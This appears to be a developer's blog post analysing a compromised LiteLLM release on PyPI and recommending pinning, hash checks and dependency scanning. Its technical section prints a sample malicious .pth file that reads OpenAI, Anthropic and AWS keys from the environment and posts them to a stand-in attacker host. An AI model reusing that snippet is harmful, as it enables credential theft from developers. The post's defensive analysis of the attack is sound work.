Skip to content

How Did the LiteLLM Supply Chain Attack Work? A Technical Breakdown of the PyPI Credential Theft

I opened my terminal and ran the usual command to update my project’s dependencies:

Terminal window
pip install --upgrade litellm

Forty-six minutes later, my API keys were stolen. And I wasn’t alone - 47,000 other developers had their credentials harvested in that short window.

How did this happen? The package I installed was the legitimate LiteLLM package, from the official PyPI repository, with the correct version number. But it had been compromised in a supply chain attack that bypassed every security measure I thought I had.

Let me break down exactly how this attack worked and what it means for Python developers.

The Attack: What Happened

On March 25, 2026, attackers uploaded two malicious versions of LiteLLM (1.82.7 and 1.82.8) directly to PyPI using stolen maintainer credentials. Version 1.82.8 contained a hidden payload that executed during installation - not during import, but during the actual pip install command.

The attack window was only 46 minutes, but that was enough time for:

  • 47,000 total downloads
  • 23,142 pip installs of version 1.82.8 specifically
  • Potential credential theft from thousands of developer machines

I ran the update command during that window. The malicious code executed before I even imported the package in my code.

How the Attack Worked: The Technical Details

The .pth File Exploitation

Here’s what made this attack so insidious. Python uses .pth (path) files in site-packages to configure module search paths. These files are automatically executed when Python builds its module search path - which happens during pip install.

The attacker embedded malicious code in a .pth file:

malicious.pth (in site-packages)
import os
import sys
# This code runs when Python builds its module search path
# Happens BEFORE any import, during pip install
def steal_credentials():
# Access environment variables
api_keys = {
'OPENAI_API_KEY': os.environ.get('OPENAI_API_KEY'),
'ANTHROPIC_API_KEY': os.environ.get('ANTHROPIC_API_KEY'),
'AWS_ACCESS_KEY_ID': os.environ.get('AWS_ACCESS_KEY_ID'),
'AWS_SECRET_ACCESS_KEY': os.environ.get('AWS_SECRET_ACCESS_KEY'),
}
# Exfiltrate to attacker's server
import urllib.request
urllib.request.urlopen('https://attacker.example.com/collect',
data=str(api_keys).encode())
steal_credentials()

This code runs before any import, before your application code even starts. It’s part of Python’s site initialization process.

Why LiteLLM Was the Perfect Target

LiteLLM is designed as an API key proxy - it manages and forwards API keys for various LLM providers:

example_usage.py
from litellm import completion
# LiteLLM handles API keys for multiple providers
response = completion(
model="gpt-4",
messages=[{"role": "user", "content": "Hello"}],
api_key=os.environ.get("OPENAI_API_KEY") # Your API key
)

This design makes it incredibly valuable for attackers. Developers using LiteLLM almost certainly have:

  • OpenAI API keys in their environment
  • Anthropic API keys
  • AWS credentials
  • Other sensitive credentials

I was using LiteLLM exactly for this purpose - to manage my LLM API calls. That made my environment a goldmine for the attackers.

The CI/CD Bypass

Here’s where the attack got clever. Normal package releases go through CI/CD pipelines with security checks. But the attackers had stolen the maintainer’s PyPI credentials (likely through phishing or credential reuse), allowing them to upload directly to PyPI:

attack-flow.txt
Normal Flow:
Developer commit → GitHub → CI/CD checks → PyPI upload → Users
Attack Flow:
Attacker with stolen credentials → Direct PyPI upload → Users
No security checks!

The legitimate development pipeline was completely bypassed. No code review, no automated security scans, no nothing.

The Dependency Management Failure

After the attack was discovered, researchers analyzed 2,337 packages that depend on LiteLLM. The results were sobering:

dependency-analysis.txt
Dependency Pinning Analysis:
├── 12% - Safely pinned (==1.82.6 or lower) ← PROTECTED
├── 59% - Lower-bound only (>=1.82.0) ← VULNERABLE
├── 16% - Upper bound including 1.82.x (~=1.82) ← VULNERABLE
└── 12% - No constraint at all ← HIGHLY VULNERABLE
Result: 88% of dependent packages were vulnerable

Let me show you what this looks like in practice:

Vulnerable Dependency Specifications

pyproject.toml - VULNERABLE
[project]
dependencies = [
"litellm>=1.82.0", # Lower-bound only - WILL install malicious version
]
requirements.txt - VULNERABLE
litellm~=1.82.0 # Compatible release - WILL install 1.82.8

Secure Dependency Specifications

pyproject.toml - SECURE
[project]
dependencies = [
"litellm==1.82.6", # Exact pinning - WILL NOT install malicious version
]
requirements.txt with hash verification - MOST SECURE
litellm==1.82.6 \
--hash=sha256:abc123... \
--hash=sha256:def456...

I had used litellm>=1.82.0 in my project. When I ran pip install --upgrade, it happily installed 1.82.8.

Why This Matters: The Mental Model Gap

I used to think malicious code runs at import time:

mental_model_wrong.py
import malicious_package # ← I thought this is when bad things happen
malicious_package.do_something() # ← Or here

But this attack proved me wrong. The malicious code ran during installation:

installation_timeline.txt
$ pip install litellm==1.82.8
Collecting litellm==1.82.8
Downloading litellm-1.82.8-py3-none-any.whl
Installing collected packages: litellm
MALICIOUS CODE EXECUTES HERE
During site-packages initialization
Before any import
Successfully installed litellm-1.82.8
$ python -c "import litellm" # ← Too late, damage already done

This mental model gap is critical. Traditional security measures focus on import-time or runtime behavior, but installation-time attacks slip right through.

What I’m Doing Differently Now

1. Exact Version Pinning

I now use exact version pinning for all production dependencies:

pyproject.toml
[project]
dependencies = [
"litellm==1.82.6", # Exact version
"requests==2.31.0", # Exact version
"pydantic==2.5.0", # Exact version
]

No more >=, ~=, or ^ version specifiers in production.

2. Hash Verification

For critical dependencies, I use hash verification:

generate-hashed-requirements.sh
# Generate hashed requirements
pip-compile --generate-hashes requirements.in -o requirements.txt
requirements.txt with hashes
litellm==1.82.6 \
--hash=sha256:a1b2c3d4e5f6... \
--hash=sha256:f6e5d4c3b2a1...

This ensures the exact package I expect is installed, byte-for-byte.

3. Automated Vulnerability Scanning

I added these tools to my CI/CD pipeline:

.github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: pip install -r requirements.txt
- name: Run pip-audit
run: pip-audit
- name: Run safety
run: safety check
local-security-scan.sh
# Scan for known vulnerabilities
pip-audit
# Check for malicious packages
safety check
# Verify hashes
pip install --require-hashes -r requirements.txt

4. Environment Isolation for Sensitive Credentials

For projects that handle API keys, I now use isolated environments:

isolated-environment.sh
# Create isolated environment for sensitive projects
python -m venv .venv-sensitive
source .venv-sensitive/bin/activate
# Set credentials only in this environment
export OPENAI_API_KEY="sk-..."
# Run with minimal dependencies
pip install litellm==1.82.6

This limits the blast radius if a package is compromised.

The Bigger Picture: Supply Chain Security

The LiteLLM attack exposed three systemic failures:

Failure 1: Maintainer Credential Security

Attackers only needed to compromise one person’s PyPI credentials to affect 47,000 developers. Multi-factor authentication on PyPI accounts should be mandatory for maintainers of popular packages.

Failure 2: Overly Permissive Dependencies

88% of dependent packages were vulnerable because of loose version constraints. The convenience of automatic updates comes with significant risk.

Failure 3: Import-Time Security Assumptions

Most security tools focus on runtime behavior. Installation-time attacks exploit a gap in our security models.

Prevention Checklist

Based on this attack, here’s what I now check for every project:

  • Exact version pinning in production (package==1.2.3 not >=1.2.0)
  • Hash verification for critical dependencies
  • Automated vulnerability scanning in CI/CD
  • Dependency update monitoring with Dependabot or similar
  • Environment isolation for projects handling sensitive credentials
  • Regular security audits with pip-audit and safety

What This Means for the Python Ecosystem

The LiteLLM attack isn’t an isolated incident. As Python’s popularity grows and packages like LiteLLM become central to AI/ML workflows, supply chain attacks will increase.

The attack demonstrates that even short windows (46 minutes) can be devastatingly effective when targeting packages with:

  • High download counts
  • Access to sensitive data (API keys, credentials)
  • Trust from developers
  • Many dependent packages

For maintainers, this means:

  • Enabling 2FA on PyPI accounts
  • Using signed commits
  • Implementing additional security layers beyond PyPI’s defaults

For users, this means:

  • Treating all dependencies as potential security risks
  • Implementing defense-in-depth strategies
  • Monitoring and auditing dependency changes

References and Further Reading

Final Words + More Resources

My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me

Here are also the most important links from this article along with some further resources that will help you in this scope:

Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!

Comments